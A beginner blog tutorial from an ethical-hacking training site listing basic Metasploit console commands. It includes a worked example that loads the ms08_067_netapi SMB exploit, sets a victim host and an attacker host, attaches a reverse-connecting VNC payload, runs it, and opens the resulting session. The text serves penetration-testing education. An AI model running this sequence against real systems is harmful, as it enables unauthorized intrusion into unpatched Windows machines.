Metasploit Basic Command Tutorial

There are many new user of metasploit (beginner of metasploit) ask use to write a basic introductory article about the basic metasploit command and basic usage of metasploit, however we have shared different advance and mid level metasploit tutorial on backtrack 5 you can learn different commands from these tutorials but here is the list of the best and most common commands that are used in metasploit for different purposes. Later on we will share meterpreter commands as well.


Metasploit is the database of all exploits and a software that contain information about different exploits so here is the basic usage of metasploit, I am using backtrack 5 machine for this tutorial however if you are using other Linux distribution or windows OS than it is fine but the requirement is Metasploit.


Msfconsole


Msfconsole is a console or a command windows of metasploit that will give you the full support of internal and external metasploit commands, there was a web interface of metasploit but now we don’t have that option.

So on your terminal type msfconsole to start metasploit console.


[email protected]:~# msfconsole
Metasploit is also available on GUI (graphical user interface), if you want to run metasploit GUI than on the terminal type.



Help command of metasploit will give you the basic idea about the usage of metasploit, if you are looking for msfconsole help than from the root windows type

[email protected]:~# msfconsole -h

For msfconsole usage you need to be on msfconsole window to get the help.

msf > help

Connect command is nothing but the alternate of telnet and ncat in metasploit, use connect command to connect with the remote and local host on metasploit you can define the IP of the host machine.


msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
-s ? SSL


Ping command of msfconsole is to check the alive host and so on.

msf > ping 192.168.1.45

Show exploits is a command to check all the available exploits on metasploit

msf > show exploits

Show payloads just like show exploits, show payloads will show you all the available payloads on metasploit.

msf > show payloads

Info command will give you more information about any exploits and payloads.

Msf>info <exploit>
msf>info <payload>

Use command will give metasploit an instruction to use a exploit or payload.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

msf exploit(ms08_067_netapi) > show options To show available options
msf exploit(ms08_067_netapi) > set rhost 119.67.45.2 ? To set remote IP (victim IP)
msf exploit(ms08_067_netapi) > set lhost 192.168.1.45 ? To set local IP (attacker IP)
msf exploit(ms08_067_netapi) > set rport 445 ? To set port number of remote host
msf exploit(ms08_067_netapi) > set lport 443 ? To set port number of local host
msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp_dns ? Tp set payload

msf exploit(ms08_067_netapi) > unset rhost ? To remove rhost
msf exploit(ms08_067_netapi) > unset lhost ? To remove local host
msf exploit(ms08_067_netapi) > exploit ? To execute exploit
msf exploit(ms08_067_netapi) > back ? To go back on the main window
msf exploit(ms08_067_netapi) > sessions -l ? To check any active session
msf exploit(ms08_067_netapi) > sessions -i ID ? To go on a active session ID must be numeric number


Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.
Ehacking Staff
With more than 50 global partners, we are proud to count the world’s leading cybersecurity training provider. EH Academy is the brainchild of Ehacking, which has been involved in the field of training since the past Five years and continues to help in creating professional IT experts.

Most Popular

How to Install Kali Linux on VirtualBox [Windows Host] in 2020

Kali Linux is a Debian based Linux distribution, released on the 13th March 2013 as a complete rebuild of BackTrack Linux. It is one of...

Acunetix v13 Release Introduces Groundbreaking Innovations

The newest release of the Acunetix Web Vulnerability Scanner further improves performance and premieres best-of-breed technologies London, United Kingdom – February 5, 2019 – Acunetix,...

What is Ethical Hacking, how to be an Ethical Hacker

Hacking is the process of discovering vulnerabilities in a system and using these found vulnerabilities by gaining unauthorized access into the system to perform...

Basic steps to ensure security Online!

Security concerns are growing day by day due to the growing interconnectivity and technology. Drastic things can happen if you be a little careless...